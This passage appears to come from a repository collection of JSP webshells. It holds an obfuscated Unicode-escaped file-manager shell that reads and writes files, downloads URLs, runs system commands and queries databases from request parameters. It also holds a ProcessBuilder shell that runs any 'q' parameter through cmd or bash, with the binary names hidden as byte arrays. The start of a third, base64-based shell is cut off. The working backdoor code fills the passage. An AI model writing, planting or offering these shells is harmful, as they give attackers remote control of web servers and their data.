u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0064\u0029\u003b\u0048\u0074\u0074\u0070\u0055\u0052\u004c\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0068\u003d\u0028\u0048\u0074\u0074\u0070\u0055\u0052\u004c\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0029\u0075\u002e\u006f\u0070\u0065\u006e\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u003b\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u003d\u0068\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u003d\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0035\u0031\u0032\u005d\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006e\u003d\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u002c\u0030\u002c\u0035\u0031\u0032\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u006f\u0073\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u002c\u0030\u002c\u006e\u0029\u003b\u007d\u006f\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0069\u0073\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0068\u002e\u0064\u0069\u0073\u0063\u006f\u006e\u006e\u0065\u0063\u0074\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004d\u004d\u0028\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u0073\u002c\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0069\u0073\u0029\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u003d\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0021\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u002b\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u007d\u0076\u006f\u0069\u0064\u0020\u004e\u004e\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u0063\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u0061\u0074\u0061\u006c\u006f\u0067\u0073\u0028\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0029\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u004f\u004f\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0074\u003d\u007b\u0022\u0054\u0041\u0042\u004c\u0045\u0022\u007d\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u0063\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u002e\u0067\u0065\u0074\u0054\u0061\u0062\u006c\u0065\u0073\u0020\u0028\u006e\u0075\u006c\u006c\u002c\u006e\u0075\u006c\u006c\u002c\u0022\u0025\u0022\u002c\u0074\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0022\u0054\u0041\u0042\u004c\u0045\u005f\u004e\u0041\u004d\u0045\u0022\u0029\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0050\u0050\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0078\u003d\u0073\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0020\u006d\u003d\u0063\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0028\u0031\u0030\u0030\u0035\u002c\u0031\u0030\u0030\u0037\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0051\u0075\u0065\u0072\u0079\u0028\u0022\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0022\u002b\u0078\u005b\u0033\u005d\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0020\u0064\u003d\u0072\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u006e\u0074\u0020\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0043\u006f\u0075\u006e\u0074\u0028\u0029\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u0020\u0028\u0022\u002b\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0054\u0079\u0070\u0065\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u0029\u005c\u0074\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u006d\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0076\u006f\u0069\u0064\u0020\u0051\u0051\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0071\u002c\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u0029\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u007b\u0069\u006e\u0074\u0020\u0069\u003b\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0020\u0063\u003d\u0047\u0043\u0028\u0073\u0029\u003b\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0020\u006d\u003d\u0063\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0053\u0074\u0061\u0074\u0065\u006d\u0065\u006e\u0074\u0028\u0031\u0030\u0030\u0035\u002c\u0031\u0030\u0030\u0038\u0029\u003b\u0074\u0072\u0079\u007b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u0020\u0072\u003d\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0051\u0075\u0065\u0072\u0079\u0028\u0071\u0029\u003b\u0052\u0065\u0073\u0075\u006c\u0074\u0053\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0020\u0064\u003d\u0072\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0061\u0044\u0061\u0074\u0061\u0028\u0029\u003b\u0069\u006e\u0074\u0020\u006e\u003d\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u0043\u006f\u0075\u006e\u0074\u0028\u0029\u003b\u0066\u006f\u0072\u0028\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u006e\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0064\u002e\u0067\u0065\u0074\u0043\u006f\u006c\u0075\u006d\u006e\u004e\u0061\u006d\u0065\u0028\u0069\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u0022\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0072\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u0029\u007b\u0066\u006f\u0072\u0028\u0069\u003d\u0031\u003b\u0069\u003c\u003d\u006e\u003b\u0069\u002b\u002b\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0045\u0043\u0028\u0072\u002e\u0067\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0069\u0029\u002c\u0063\u0073\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u0022\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0052\u0065\u0073\u0075\u006c\u0074\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u0074\u0072\u0079\u007b\u006d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0055\u0070\u0064\u0061\u0074\u0065\u0028\u0071\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u0020\u0053\u0075\u0063\u0063\u0065\u0073\u0073\u0066\u0075\u006c\u006c\u0079\u0021\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0065\u0065\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002b\u0022\u005c\u0074\u007c\u005c\u0074\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u007d\u006d\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0063\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d 4 | %> 5 | <% 6 | \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0073\u003d\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0030\u0022\u0029\u002b\u0022\u0022\u003b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0043\u0068\u0061\u0072\u0061\u0063\u0074\u0065\u0072\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0028\u0063\u0073\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0073\u0065\u0074\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u0054\u0079\u0070\u0065\u0028\u0022\u0074\u0065\u0078\u0074\u002f\u0068\u0074\u006d\u006c\u003b\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u003d\u0022\u002b\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u005a\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0050\u0077\u0064\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u007a\u0031\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0031\u0022\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u007a\u0032\u003d\u0045\u0043\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u007a\u0032\u0022\u0029\u002b\u0022\u0022\u002c\u0063\u0073\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0020\u0073\u0062\u003d\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0022\u0022\u0029\u003b\u0074\u0072\u0079\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u003b\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0041\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u003d\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u006c\u0050\u0061\u0074\u0068\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0055\u0052\u0049\u0028\u0029\u0029\u0029\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0065\u006e\u0074\u0028\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0073\u002b\u0022\u005c\u0074\u0022\u0029\u003b\u0069\u0066\u0028\u0021\u0073\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u002f\u0022\u0029\u0029\u007b\u0041\u0041\u0028\u0073\u0062\u0029\u003b\u007d\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0042\u0022\u0029\u0029\u007b\u0042\u0042\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0043\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006c\u003d\u0022\u0022\u003b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0020\u0062\u0072\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u007a\u0031\u0029\u0029\u0029\u0029\u003b\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u006c\u003d\u0062\u0072\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0021\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u006c\u002b\u0022\u005c\u0072\u005c\u006e\u0022\u0029\u003b\u007d\u0062\u0072\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0044\u0022\u0029\u0029\u007b\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0057\u0072\u0069\u0074\u0065\u0072\u0020\u0062\u0077\u003d\u006e\u0065\u0077\u0020\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u006e\u0065\u0077\u0020\u0046\u0069\u006c\u0065\u0028\u007a\u0031\u0029\u0029\u0029\u0029\u003b\u0062\u0077\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u007a\u0032\u0029\u003b\u0062\u0077\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0045\u0022\u0029\u0029\u007b\u0045\u0045\u0028\u007a\u0031\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0046\u0022\u0029\u0029\u007b\u0046\u0046\u0028\u007a\u0031\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0047\u0022\u0029\u0029\u007b\u0047\u0047\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0048\u0022\u0029\u0029\u007b\u0048\u0048\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0049\u0022\u0029\u0029\u007b\u0049\u0049\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004a\u0022\u0029\u0029\u007b\u004a\u004a\u0028\u007a\u0031\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004b\u0022\u0029\u0029\u007b\u004b\u004b\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004c\u0022\u0029\u0029\u007b\u004c\u004c\u0028\u007a\u0031\u002c\u007a\u0032\u0029\u003b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0031\u0022\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004d\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u003d\u007b\u007a\u0031\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0032\u0029\u002c\u007a\u0031\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0032\u0029\u002c\u007a\u0032\u007d\u003b\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u003d\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0063\u0029\u003b\u004d\u004d\u0028\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0073\u0062\u0029\u003b\u004d\u004d\u0028\u0070\u002e\u0067\u0065\u0074\u0045\u0072\u0072\u006f\u0072\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004e\u0022\u0029\u0029\u007b\u004e\u004e\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u004f\u0022\u0029\u0029\u007b\u004f\u004f\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0050\u0022\u0029\u0029\u007b\u0050\u0050\u0028\u007a\u0031\u002c\u0073\u0062\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u0020\u0069\u0066\u0028\u005a\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0051\u0022\u0029\u0029\u007b\u0051\u0051\u0028\u0063\u0073\u002c\u007a\u0031\u002c\u007a\u0032\u002c\u0073\u0062\u0029\u003b\u007d\u007d\u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0045\u0052\u0052\u004f\u0052\u0022\u002b\u0022\u003a\u002f\u002f\u0020\u0022\u002b\u0065\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u0029\u003b\u007d\u0073\u0062\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0058\u0040\u0059\u0022\u0029\u003b\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0073\u0062\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u0029\u003b 7 | %> 8 | -------------------------------------------------------------------------------- /webshell/jsp/ProcessBuilder-cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page pageEncoding="utf-8"%> 2 | <%@ page import="java.util.Scanner" %> 3 | 4 | Just For Fun 5 | 6 |

Build By LandGrey

7 |
8 | 9 | 10 |
11 | 12 | <% 13 | String op="Got Nothing"; 14 | String query = request.getParameter("q"); 15 | String fileSeparator = String.valueOf(java.io.File.separatorChar); 16 | Boolean isWin; 17 | if(fileSeparator.equals("\\")){ 18 | isWin = true; 19 | }else{ 20 | isWin = false; 21 | } 22 | 23 | if (query != null) { 24 | ProcessBuilder pb; 25 | if(isWin) { 26 | pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); 27 | }else{ 28 | pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); 29 | } 30 | Process process = pb.start(); 31 | Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); 32 | op = sc.hasNext() ? sc.next() : op; 33 | sc.close(); 34 | } 35 | %> 36 | 37 |
38 |     <%= op %>>
39 | 
40 | 41 | 42 | -------------------------------------------------------------------------------- /webshell/jsp/ProcessBuilder-reflect-cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page pageEncoding="UTF-8" %> 2 | <%@ page import="java.util.List" %> 3 | <%@ page import="java.util.Scanner" %> 4 | <%@ page import="java.util.ArrayList" %> 5 | <%@ page import="sun.misc.BASE64Encoder" %> 6 | <%@ page import="sun.misc.BASE64Decoder" %> 7 | 8 | Just For Fun 9 | 10 |

Build By LandGrey

11 | 12 |
13 | 14 | 15 |
